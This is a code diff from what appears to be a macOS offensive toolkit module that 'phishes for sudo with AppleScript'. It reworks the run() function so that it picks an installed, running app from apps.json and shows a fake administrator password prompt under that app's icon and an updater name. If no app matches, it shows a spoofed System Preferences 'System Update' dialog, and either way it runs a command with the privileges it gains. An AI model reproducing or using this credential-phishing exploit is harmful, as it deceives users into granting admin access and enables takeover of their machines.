|
1 | 1 | """phishes for sudo with AppleScript""" |
| 2 | +import json |
2 | 3 | import os |
3 | 4 | import plistlib |
4 | 5 |
|
5 | | -from .general import (DEFAULT_COMMAND, app_installed, default_browser, |
6 | | - osascript, random_string) |
| 6 | +from .general import (DEFAULT_COMMAND, app_installed, app_running, osascript, |
| 7 | + random_string) |
7 | 8 |
|
8 | 9 | try: |
9 | 10 | input = raw_input |
10 | 11 | except NameError: |
11 | 12 | pass |
12 | 13 |
|
| 14 | +with open("apps.json") as json_file: |
| 15 | + APPS = json.load(json_file) |
| 16 | + |
13 | 17 | __cve__ = "" |
14 | 18 | __credits__ = "thehappydinoa" |
15 | 19 |
|
16 | | -BROWSERS = { |
17 | | - "com.google.chrome": ("Google Chrome.app", "/Contents/Resources/app.icns", "Google Chrome Updater"), |
18 | | - "org.mozilla.firefox": ("Firefox.app", "/Contents/Resources/firefox.icns", "Firefox Updater"), |
19 | | - "com.apple.safari": ("Safari.app", "/Contents/Resources/compass.icns", "Safari Update") |
20 | | -} |
21 | | - |
22 | | -APPS = { |
23 | | - "Spotify.app": ("/Contents/Resources/Icon.icns", "Spotify Updater"), |
24 | | - "Dropbox.app": ("/Contents/Resources/icon.icns", "DropboxMacUpdate") |
25 | | -} |
26 | | - |
27 | 20 |
|
28 | 21 | def admin_prompt(app=None, icon_path=None, prompt="System Update", command="echo hello"): |
29 | 22 | """prompts with administrator privileges""" |
@@ -75,12 +68,9 @@ def vulnerable(version): |
75 | 68 |
|
76 | 69 | def run(): |
77 | 70 | """runs exploit""" |
78 | | - browser = default_browser() |
79 | | - if browser and browser in BROWSERS.keys(): |
80 | | - browser_data = BROWSERS.get(browser) |
81 | | - return admin_prompt(app=browser_data[0], icon_path=browser_data[1], prompt=browser_data[2], command=DEFAULT_COMMAND) |
82 | | - for app in APPS.keys(): |
83 | | - if app_installed(app): |
84 | | - app_info = APPS.get(app) |
85 | | - return admin_prompt(app=app, icon_path=app_info[0], prompt=app_info[1], command=DEFAULT_COMMAND) |
| 71 | + for priority_level in sorted(APPS.iterkeys()): |
| 72 | + for app in APPS.get(priority_level).keys(): |
| 73 | + if app_installed(app) and app_running(app): |
| 74 | + app_info = APPS.get(priority_level).get(app) |
| 75 | + return admin_prompt(app=app, icon_path=app_info[0], prompt=app_info[1], command=DEFAULT_COMMAND) |
86 | 76 | return admin_prompt(app="System Preferences.app", icon_path="/Contents/Resources/PrefApp.icns", prompt="System Update", command=DEFAULT_COMMAND) |
0 commit comments